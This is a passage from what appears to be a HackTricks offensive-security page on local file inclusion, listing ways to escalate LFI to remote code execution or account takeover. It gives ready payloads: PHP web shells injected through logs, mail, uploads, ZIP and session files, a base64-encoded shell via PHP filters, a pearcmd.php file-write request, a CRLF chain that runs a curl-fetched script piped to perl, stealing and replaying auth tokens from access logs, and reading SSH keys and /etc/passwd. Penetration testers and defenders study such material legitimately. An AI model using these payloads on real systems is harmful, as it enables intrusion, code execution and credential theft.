    603 /usr/local/apache2/log/error_log
    604 /var/log/nginx/access.log
    605 /var/log/nginx/error.log
    606 /var/log/httpd/error_log
    607 ```
    608 
    609 Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
    610 
    611 ### Read access logs to harvest GET-based auth tokens (token replay)
    612 
    613 Many apps mistakenly accept session/auth tokens via GET (e.g., AuthenticationToken, token, sid). If you have a path traversal/LFI primitive into web server logs, you can steal those tokens from access logs and replay them to fully bypass authentication.<sup>[[10]](#references)</sup>
    614 
    615 How-to:
    616 - Use the traversal/LFI to read the web server access log. Common locations:
    617   - /var/log/apache2/access.log, /var/log/httpd/access_log
    618   - /var/log/nginx/access.log
    619 - Some endpoints return file reads Base64-encoded. If so, decode locally and inspect the log lines.
    620 - Grep for GET requests that include a token parameter and capture its value, then replay it against the application entry point.
    621 
    622 Example flow (generic):
    623 
    624 ```http
    625 GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
    626 Host: target
    627 ```
    628 
    629 Decode the body if it’s Base64, then replay a captured token:
    630 
    631 ```http
    632 GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
    633 Host: target
    634 ```
    635 
    636 Notes:
    637 - Tokens in URLs are logged by default; never accept bearer tokens via GET in production systems.
    638 - If the app supports multiple token names, search for common keys like AuthenticationToken, token, sid, access_token.
    639 - Rotate any tokens that may have leaked to logs.
    640 
    641 ### Via Email
    642 
    643 **Send a mail** to a internal account (user@localhost) containing your PHP payload like `<?php echo system($_REQUEST["cmd"]); ?>` and try to include to the mail of the user with a path like **`/var/mail/<USERNAME>`** or **`/var/spool/mail/<USERNAME>`**
    644 
    645 ### Via /proc/\*/fd/\*
    646 
    647 1. Upload a lot of shells (for example : 100)
    648 2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), with $PID = PID of the process (can be brute forced) and $FD the file descriptor (can be brute forced too)
    649 
    650 ### Via /proc/self/environ
    651 
    652 Like a log file, send the payload in the User-Agent, it will be reflected inside the /proc/self/environ file
    653 
    654 ```text
    655 GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
    656 User-Agent: <?=phpinfo(); ?>
    657 ```
    658 
    659 ### Via upload
    660 
    661 If you can upload a file, just inject the shell payload in it (e.g : `<?php system($_GET['c']); ?>` ).
    662 
    663 ```text
    664 http://example.com/index.php?page=path/to/uploaded/file.png
    665 ```
    666 
    667 In order to keep the file readable it is best to inject into the metadata of the pictures/doc/pdf
    668 
    669 ### Via ZIP file upload
    670 
    671 Upload a ZIP file containing a PHP shell compressed and access:
    672 
    673 ```python
    674 example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
    675 ```
    676 
    677 ### Via PHP sessions
    678 
    679 Check if the website use PHP Session (PHPSESSID)
    680 
    681 ```text
    682 Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
    683 Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
    684 ```
    685 
    686 In PHP these sessions are stored into _/var/lib/php5/sess\\_\[PHPSESSID]\_ files
    687 
    688 ```text
    689 /var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
    690 user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
    691 ```
    692 
    693 Set the cookie to `<?php system('cat /etc/passwd');?>`
    694 
    695 ```text
    696 login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
    697 ```
    698 
    699 Use the LFI to include the PHP session file
    700 
    701 ```text
    702 login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
    703 ```
    704 
    705 ### Via ssh
    706 
    707 If ssh is active check which user is being used (/proc/self/status & /etc/passwd) and try to access **\<HOME>/.ssh/id_rsa**
    708 
    709 ### **Via** **vsftpd** _**logs**_
    710 
    711 The logs for the FTP server vsftpd are located at _**/var/log/vsftpd.log**_. In the scenario where a Local File Inclusion (LFI) vulnerability exists, and access to an exposed vsftpd server is possible, the following steps can be considered:
    712 
    713 1. Inject a PHP payload into the username field during the login process.
    714 2. Post injection, utilize the LFI to retrieve the server logs from _**/var/log/vsftpd.log**_.
    715 
    716 ### Via php base64 filter (using base64)
    717 
    718 As shown in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter just ignore Non-base64.You can use that to bypass the file extension check: if you supply base64 that ends with ".php", and it would just ignore the "." and append "php" to the base64. Here is an example payload:<sup>[[4]](#references)</sup>
    719 
    720 ```text
    721 http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
    722 
    723 NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
    724 ```
    725 
    726 ### Via php filters (no file needed)
    727 
    728 This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)explains that you can use **php filters to generate arbitrary content** as output. Which basically means that you can **generate arbitrary php code** for the include **without needing to write** it into a file.<sup>[[11]](#references)</sup>
    729 
    730 
    731 [Lfi2Rce Via Php Filters](/hacktricks/pentesting-web/file-inclusion/lfi2rce-via-php-filters)
    732 
    733 ### Via segmentation fault
    734 
    735 **Upload** a file that will be stored as **temporary** in `/tmp`, then in the **same request,** trigger a **segmentation fault**, and then the **temporary file won't be deleted** and you can search for it.
    736 
    737 
    738 [Lfi2Rce Via Segmentation Fault](/hacktricks/pentesting-web/file-inclusion/lfi2rce-via-segmentation-fault)
    739 
    740 ### Via Nginx temp file storage
    741 
    742 If you found a **Local File Inclusion** and **Nginx** is running in front of PHP you might be able to obtain RCE with the following technique:
    743 
    744 
    745 [Lfi2Rce Via Nginx Temp Files](/hacktricks/pentesting-web/file-inclusion/lfi2rce-via-nginx-temp-files)
    746 
    747 ### Via PHP_SESSION_UPLOAD_PROGRESS
    748 
    749 If you found a **Local File Inclusion** even if you **don't have a session** and `session.auto_start` is `Off`. If you provide the **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST** data, PHP will **enable the session for you**. You could abuse this to get RCE:
    750 
    751 
    752 [Via Php Session Upload Progress](/hacktricks/pentesting-web/file-inclusion/via-php-session-upload-progress)
    753 
    754 ### Via temp file uploads in Windows
    755 
    756 If you found a **Local File Inclusion** and and the server is running in **Windows** you might get RCE:
    757 
    758 
    759 [Lfi2Rce Via Temp File Uploads](/hacktricks/pentesting-web/file-inclusion/lfi2rce-via-temp-file-uploads)
    760 
    761 ### Via `pearcmd.php` + URL args
    762 
    763 As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).<sup>[[12]](#references)</sup><sup>[[13]](#references)</sup><sup>[[14]](#references)</sup><sup>[[15]](#references)</sup><sup>[[19]](#references)</sup>
    764 
    765 The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`:
    766 
    767 ```bash
    768 GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
    769 ```
    770 
    771 The following abuses a CRLF vuln to get RCE (from [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):<sup>[[14]](#references)</sup>
    772 
    773 ```text
    774 http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
    775 Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
    776 Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
    777 %0d%0a
    778 ```
    779 
    780 ### Via phpinfo() (file_uploads = on)
    781 
    782 If you found a **Local File Inclusion** and a file exposing **phpinfo()** with file_uploads = on you can get RCE:
    783 
    784 
    785 [Lfi2Rce Via Phpinfo](/hacktricks/pentesting-web/file-inclusion/lfi2rce-via-phpinfo)
    786 
    787 ### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
    788 
    789 If you found a **Local File Inclusion** and you **can exfiltrate the path** of the temp file BUT the **server** is **checking** if the **file to be included has PHP marks**, you can try to **bypass that check** with this **Race Condition**:
    790 
    791 
    792 [Lfi2Rce Via Compress.Zlib + Php Stream Prefer Studio + Path Disclosure](/hacktricks/pentesting-web/file-inclusion/lfi2rce-via-compress-zlib-php-stream-prefer-studio-path-disclosure)
    793 
    794 ### Via eternal waiting and brute force
    795 
    796 If you can abuse the LFI to **upload temporary files** and make the server **hang** the PHP execution, you could then **brute force filenames during hours** to find the temporary file:
    797 
    798 
    799 [Lfi2Rce Via Eternal Waiting](/hacktricks/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting)
    800 
    801 ### To Fatal Error
    802 
    803 If you include any of the files `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (You need to include the same one 2 time to throw that error).
    804 
    805 **I don't know how is this useful but it might be.**\
    806 _Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._
    807 
    808 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%281031%29.png" alt=""><figcaption></figcaption></figure>
    809 
    810 
    811 ### Preserve traversal sequences from the client
    812 
    813 Some HTTP clients normalize or collapse `../` before the request reaches the server, breaking directory traversal payloads. Use `curl --path-as-is` to keep traversal untouched when abusing log/download endpoints that concatenate a user-controlled filename, and add `--ignore-content-length` for pseudo-files like `/proc`:<sup>[[16]](#references)</sup>
    814 
    815 ```bash
    816 curl --path-as-is -b "session=$SESSION" \
    817   "http://TARGET/admin/get_system_log?log_identifier=../../../../proc/self/environ" \
    818   --ignore-content-length -s | tr '\000' '\n'
    819 ```
    820 
    821 Tune the number of `../` segments until you escape the intended directory, then dump `/etc/passwd`, `/proc/self/cwd/app.py`, or other source/config files.
    822 
    823 ## References
    824 
    825 - [1] [PayloadsAllTheThings – File Inclusion Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion/Intruders)
    826 - [2] [PayloadsAllTheThings – File Inclusion](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion)
    827 - [3] [Positive Technologies – Blind Trust: What Is Hidden Behind the Process of Creating Your PDF File? (archived)](https://web.archive.org/web/20260000000000id_/https://swarm.ptsecurity.com/blind-trust-what-is-hidden-behind-the-process-of-creating-your-pdf-file/)
    828 - [4] [matan-h – One LFI Bypass to Rule Them All (Using Base64)](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64)
    829 - [5] [HTB: Gavel](https://0xdf.gitlab.io/2026/03/14/htb-gavel.html)
    830 - [6] [Synacktiv – PHP filter chains: file read from error-based oracle](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle)
    831 - [7] [Lexfo/Ambionics – Iconv, set the charset to RCE: Exploiting the glibc to hack the PHP engine (part 1)](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)
    832 - [8] [Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
    833 - [9] [Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf)
    834 - [10] [When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise](https://www.rcesecurity.com/2025/09/when-audits-fail-four-critical-pre-auth-vulnerabilities-in-trufusion-enterprise/)
    835 - [11] [loknop – Solving "includer's revenge" (hxp CTF 2021) without controlling any files](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)
    836 - [12] [leavesongs – Docker PHP Local File Inclusion Overview (pearcmd.php getshell)](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html)
    837 - [13] [watchTowr – We need to talk about PHP (pearcmd.php gadget)](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/)
    838 - [14] [Orange Tsai – Confusion Attacks on Apache](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)
    839 - [15] [VTENEXT 25.02 – a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
    840 - [16] [HTB: Imagery (admin log download traversal + `/proc/self/environ` read)](https://0xdf.gitlab.io/2026/01/24/htb-imagery.html)
    841 - [17] [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
    842 - [18] [@trbughunters – Top 25 LFI parameters](https://twitter.com/trbughunters/status/1279768631845494787)
    843 - [19] [Docker PHP LFI Summary / pearcmd.php getshell](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp)
    844 - [20] [docs.python.org - Library - Os.path: Os.path.join](https://docs.python.org/3.10/library/os.path.html#os.path.join)
    845 
    846 [En Local File Inclusion 1.Pdf](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/file-inclusion/EN-Local-File-Inclusion-1.pdf)